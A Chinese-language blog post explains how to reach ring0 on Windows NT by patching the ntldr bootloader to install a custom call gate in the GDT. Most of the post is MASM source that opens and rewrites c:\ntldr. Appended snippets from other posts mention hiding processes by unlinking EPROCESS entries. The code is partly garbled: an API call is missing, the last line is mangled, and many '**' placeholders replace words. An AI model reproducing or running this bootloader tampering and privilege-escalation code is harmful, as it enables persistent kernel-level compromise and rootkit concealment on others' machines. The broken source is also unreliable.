讓程式進入ring0級執行

2021-08-23 15:28:32 字數 4212 閱讀 4612

在保護模式下,ring0有至高無上的許可權,他一直是很多黑客程式設計師追求的目標,在nt平台上,ms對系統**作了保護,不能在象win9x那樣,去直接修改系統**,但是還是有不少辦法能夠進入ring0的,例如,在國內,最早sinister利用編寫驅動程式的方法進入ring0,這也是最通用的方法了,緊跟著webcrazy又使用讀寫物理記憶體的方法來讀寫gdt所在的物理記憶體,在gdt上生成自己的呼叫門來隨意進出ring0。後來由mgf提出一種更新的方法,這也就是我要介紹的方法,修改ntldr。

為什麼要修改ntldr呢,因為windows在啟動之時,需要裝載gdt上的描述符,而nt的引導程式是ntldr,那麼也就是說描述符可能在ntldr中,如果我們的假設成立,那麼我們就能夠在ntldr中找到系統描述符,好,我們首先來做個實驗,用ue開啟ntldr,搜尋16進製制數ffff 0000 009a cf00(這是gdt上的乙個描述符,它的選擇子為8h),結果我們搜到了,那麼證明想法是對的,在向後看,發現還有不少描述符,哈哈,如果我們在搜尋到的描述符區域中空的地方加入自己的呼叫門和自己的系統描述符,當系統重新啟動的時候我們的呼叫門就會被作業系統裝載到記憶體中,這樣我們就有了我們需要的呼叫門,就可以利用這個呼叫門自由進出ring0了。這裡可能有人要問為什麼不用系統選擇子08h所對應的描述符,而自己生成自己的選擇子和描述符,這是因為我們的呼叫門所指向的**一般都在使用者區,ms會做檢測,如果發現執行在選擇子為8h的**在0x80000000以下,就會認為是非法進入ring0,就會產生異常。下面請看**

;修改ntldr新增呼叫門,執行任意ring0**的例子

.386

.model flat,stdcall

option casemap:none

include d:\masm32\include\windows.inc

include d:\masm32\include\kernel32.inc

include d:\masm32\include\user32.inc

includelib d:\masm32\lib\kernel32.lib

includelib d:\masm32\lib\user32.lib

.data

szfilename db 'c:\ntldr',0

dwattrib dd 0

hfile dd 0

hmap dd 0

pfile dd 0

dwfilesize dd 0

dwc3code dd 0

gdtflag dw 0ffffh,0000,9a00h,00cfh,0ffffh,0000,9200h,00cfh ;gdt中的第乙個和第二個描述符

callgate dw 0000,0108h,0ec00h,0000,0ffffh,0000,9a00h,00cfh ;呼叫門和乙個自己系統描述符

callsel dd 0

dw 103h ;呼叫門的選擇子

.code

start:

push offset szfilename

call getfileattributes ;得到檔案屬性

mov edx,eax

inc edx

je error_getfileattrib ;如果返回錯誤的話就直接退出

mov dwattrib,eax ;否則儲存檔案屬性

push 80h

push offset szfilename

call setfileattributes ;設定檔案屬性為一般檔案

call findc3code ;在kernel32.dll中搜尋ret指令

push 0

push 80h

push 3

push 0

push 3

push 0c0000000h

push offset szfilename

call createfilea ;開啟檔案

mov edx,eax

inc edx

je error_openfile

mov hfile,eax

push 0

push hfile

call getfilesize

mov dwfilesize,eax ;得到檔案大小

push 0

push 0

push 0

push 4

push 0

push hfile

or eax,eax

je error_filemap

mov hmap,eax

push 0

push 0

push 0

push 6

push eax

call mapviewoffile ;檔案對映到記憶體

or eax,eax

je error_map

mov pfile,eax

mov edi,eax

mov esi,offset gdtflag

mov ecx,dwfilesize

@@: ;在ntldr中搜尋描述符

inc edi

push esi

push edi

push ecx

mov ecx,10h

repz cmpsb

pop ecx

pop edi

pop esi

loopnz @b

;發現標誌後,準備在gdt中搜尋乙個空間來存放呼叫門

or ecx,ecx

je error_map

xor eax,eax

mov ecx,80h

@@:sub edi,8

push edi

push ecx

mov ecx,8

repz scasb ;再次確認位置

pop ecx

pop edi

loopnz @b

or ecx,ecx

je error_map

add edi,100h

lea esi,callgate

mov ecx,10h

rep movsb ;寫入呼叫門

mov edx,dwc3code

mov word ptr [edi-16],dx

shr edx,16

mov word ptr [edi-10],dx ;使呼叫門指向ret的位址

error_map:

push pfile

call unmapviewoffile

error_filemap:

push hmap

call closehandle

error_openfile:

push hfile

call closehandle

push dwattrib

push offset szfilename

call setfileattributes ;還原檔案屬性

error_getfileattrib:

push 0

call exitprocess

findc3code:

assume fs:nothing

mov eax,fs:[30h]

mov eax,[eax+0ch]

mov esi,[eax+1ch]

lodsd

mov eax,[eax+08h] ;eax->kernel32 base address

mov edi,eax

add edi,1000h ;從**段開始搜尋

mov ecx,20000h

mov al,0c3h; 搜尋ret指令

repnz scasb

dec edi

mov dwc3code,edi

retend start

這個程式修改ntldr,在其中gdt的第乙個描述符的偏移100h的地方寫入自己的乙個呼叫門和乙個系統描述符,在重新啟動以後,我們的呼叫門將被載入到gdt中,這樣我們就可以自由進出ring0了,另外這個程式的呼叫門指向kernel32.dll中的一條ret指令,為什麼要這麼做呢?因為首先來看看使用呼叫門後cpu都做了那些事,如果有程式使用了呼叫門,cpu會儲存所有的暫存器,其中包括eax,ebx,ecx,edx,esp,cs,ds,es,fs,ss,eip等,在轉向呼叫門時,我們先來看看堆疊的結構

eipring3的esp

….看到了吧,如果我們在這裡執行一條ret指令,就能跳向呼叫呼叫門的下一條指令,這樣就轉回了我們自己的程式中了。

Ring0 鍊錶

一般驅動層不使用資料結構,一般ring3層 雙向鍊錶可以將鍊錶形成乙個環.blink指標指向前乙個元素,flink指標指向下乙個元素.typedef struct list entry list entry,plist entry,restricted pointer prlist entry 初始...

ring0 程序隱藏實現

最近在學習核心程式設計,記錄一下最近的學習筆記。原理 將當前程序從eprocess結構的鍊錶中刪除 無法被 process 0 0 看見 include hideprocess.h ifdef win64 define activeprocesslinks eprocess 0x188 define...

ring0和ring3的區別

現在 核心程式和應用程式之間的本質區別。除了能用wdk編寫核心程式和閱讀一部分windows的核心 之外,我們還需要了解它們的本質是什麼,它們和我們熟悉的應用程式有什麼區別。intel的x86處理器是通過ring級別來進行訪問控制的,級別共分4層,從ring0到ring3 後面簡稱r0 r1 r2 ...